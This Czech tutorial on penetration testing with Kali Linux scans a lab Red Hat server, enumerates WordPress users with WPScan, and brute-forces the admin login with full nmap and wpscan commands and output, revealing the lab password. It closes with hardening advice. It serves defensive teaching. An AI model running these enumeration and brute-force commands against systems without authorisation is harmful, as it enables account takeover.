Množství dobře propagovaných narušení velkých spotřebitelských korporací podtrhuje zásadní význam správy zabezpečení systému. Naštěstí existuje mnoho různých aplikací, které pomáhají zabezpečit počítačové systémy. Jedním z nich je Kali, distribuce Linuxu vyvinutá pro zabezpečení a penetrační testování. Tento článek ukazuje, jak pomocí Kali Linuxu prozkoumat váš systém a najít slabá místa.
Kali instaluje spoustu nástrojů, z nichž všechny jsou open source, a jejich instalace ve výchozím nastavení usnadňuje práci.
Systémy, které použiji v tomto tutoriálu, jsou:
kali.usersys.redhat.com
:Toto je systém, kde spustím skenování a útoky. Má 30 GB paměti a šest virtualizovaných CPU (vCPU).vulnerable.usersys.redhat.com
:Toto je systém Red Hat Enterprise Linux 8, který bude cílem. Má 16 GB paměti a šest vCPU. Toto je relativně aktuální systém, ale některé balíčky mohou být zastaralé.- Tento systém také zahrnuje
httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64
,mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64
,tigervnc-server-1.9.0-15.el8_1.x86_64
,vsftpd-3.0.3-32.el8.x86_64
a WordPress verze 5.6.1.
Zahrnul jsem hardwarové specifikace výše, protože některé z těchto úloh jsou docela náročné, zejména pro CPU cílového systému při spuštění WordPress Security Scanner (WPScan).
Prozkoumejte svůj systém
Své vyšetřování jsem zahájil základním skenováním Nmap na mém cílovém systému. (Můžete se ponořit hlouběji do Nmap, když si přečtete Používání výsledků Nmap k posílení linuxových systémů.) Skenování Nmap je rychlý způsob, jak získat přehled o tom, které porty a služby jsou viditelné ze systému, čímž se spustí skenování Nmap.
Toto výchozí skenování ukazuje, že existuje několik možných zajímavých otevřených portů. Ve skutečnosti je každý otevřený port možná zajímavý, protože by to mohl být způsob, jak útočník prolomit vaši síť. V tomto příkladu je dobré skenovat porty 21, 22, 80 a 443, protože jde o běžně používané služby. V této rané fázi pouze dělám průzkumné práce a snažím se získat co nejvíce informací o cílovém systému.
Chci prozkoumat port 80 pomocí Nmap, takže používám -p 80
argument pro zobrazení portu 80 a -A
získat informace, jako je operační systém a verze aplikace.
Některé z klíčových řádků v tomto výstupu jsou:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1
Protože nyní vím, že se jedná o server WordPress, mohu použít WPScan k získání informací o potenciálních slabinách. Dobrým průzkumem je pokusit se najít nějaká uživatelská jména. Pomocí --enumerate u
říká WPScan, aby hledal uživatele v instanci WordPress. Například:
┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
To ukazuje, že existují dva uživatelé:admin
a pgervase
. Pokusím se uhodnout heslo pro admin
pomocí slovníku hesel, což je textový soubor se spoustou možných hesel. Slovník, který jsem použil, byl 37G a měl 3 543 076 137 řádků.
Stejně jako existuje více textových editorů, webových prohlížečů a dalších aplikací, ze kterých si můžete vybrat, je k dispozici několik nástrojů pro spouštění útoků na hesla. Zde jsou dva příklady příkazů pomocí Nmap a WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
Tento skript Nmap je jedním z mnoha možných skriptů, které jsem mohl použít, a skenování adresy URL pomocí WPScan je pouze jedním z mnoha možných úkolů, které tento nástroj dokáže. Můžete se rozhodnout, které chcete používat
Tento příklad WPScan ukazuje heslo na konci souboru:
┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 <========================================================= > (3231 / 6462) 50.00% ETA: ??:??:??
[SUCCESS] - admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Feb 18 20:34:15 2021
[+] Requests Done: 3255
[+] Cached Requests: 34
[+] Data Sent: 1.066 MB
[+] Data Received: 24.513 MB
[+] Memory used: 264.023 MB
[+] Elapsed time: 00:02:02
Sekce Nalezené platné kombinace na konci obsahuje uživatelské jméno a heslo správce. Procházení 3 231 řádky trvalo pouhé dvě minuty.
Mám další soubor slovníku s 3 238 659 984 unikátními položkami, což by trvalo mnohem déle a zanechalo by to mnohem více důkazů.
Použití Nmap produkuje výsledek mnohem rychleji:
┌──(root?kali)-[~]
└─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat - Valid credentials <<<<<<<
| pgervase:redhat - Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
Spuštění tohoto skenování však může v cílovém systému zanechat záplavu zpráv protokolování HTTPD:
10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
K získání informací o serveru HTTPS nalezeném v mém počátečním skenování Nmap jsem použil sslscan
příkaz:
┌──(root?kali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
Zde jsou uvedeny informace o povolených protokolech SSL a dále ve výstupu informace o zranitelnosti Heartbleed:
Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed
Tipy pro prevenci nebo zmírnění útočníků
Další zdroje pro Linux
- Cheat pro příkazy Linuxu
- Cheat sheet pro pokročilé příkazy systému Linux
- Bezplatný online kurz:Technický přehled RHEL
- Síťový cheat pro Linux
- Cheat sheet SELinux
- Cheat pro běžné příkazy pro Linux
- Co jsou kontejnery systému Linux?
- Naše nejnovější články o Linuxu
Existuje mnoho způsobů, jak bránit své systémy před množstvím útočníků. Několik klíčových bodů:
- Poznejte své systémy: To zahrnuje vědět, které porty jsou otevřené, jaké porty by měly být otevřené, kdo by měl tyto otevřené porty vidět a jaký je očekávaný provoz na těchto službách. Nmap je skvělý nástroj, jak se dozvědět o systémech v síti.
- Používejte aktuální osvědčené postupy: To, co je dnes považováno za osvědčený postup, nemusí být osvědčeným postupem. Jako správce je důležité mít aktuální informace o trendech v oblasti infosec.
- Vědět, jak používat své produkty: Místo toho, abyste například nechali útočníka neustále narážet na váš systém WordPress, zablokujte jeho IP adresu a omezte, kolikrát se může pokusit přihlásit, než bude zablokován. Blokování IP adresy nemusí být v reálném světě tak užitečné, protože útočníci pravděpodobně využívají k útokům kompromitované systémy. Povolení je však snadné a mohlo by blokovat některé útoky.
- Udržujte a ověřujte dobré zálohy: Pokud útočník zahrnuje jeden nebo více vašich systémů, možnost obnovy ze známých dobrých a čistých záloh může ušetřit spoustu času a peněz.
- Zkontrolujte své protokoly: Jak ukazují příklady výše, příkazy pro skenování a pronikání mohou zanechat mnoho protokolů, které indikují, že se na systém zaměřuje útočník. Pokud si jich všimnete, můžete provést preventivní opatření ke zmírnění rizika.
- Aktualizujte své systémy, jejich aplikace a další moduly: Jak vysvětluje NIST Special Publication 800-40r3, „záplaty jsou obvykle nejúčinnějším způsobem, jak zmírnit zranitelnosti softwarových chyb, a často jsou jediným plně efektivním řešením.“
- Používejte nástroje, které poskytují vaši dodavatelé: Prodejci mají různé nástroje, které vám pomohou udržovat jejich systémy, takže se ujistěte, že je využíváte. Například Red Hat Insights, který je součástí předplatného Red Hat Enterprise Linux, může pomoci vyladit vaše systémy a upozornit vás na potenciální bezpečnostní hrozby.
Další informace
Tento úvod do bezpečnostních nástrojů a jejich použití je jen špičkou ledovce. Chcete-li se ponořit hlouběji, možná budete chtít nahlédnout do následujících zdrojů:
- Armitage, open source nástroj pro správu útoků
- Centrum zabezpečení produktů Red Hat
- Kanál zabezpečení Red Hat
- Stránka NIST Cybersecurity
- Používání výsledků Nmap k posílení systémů Linux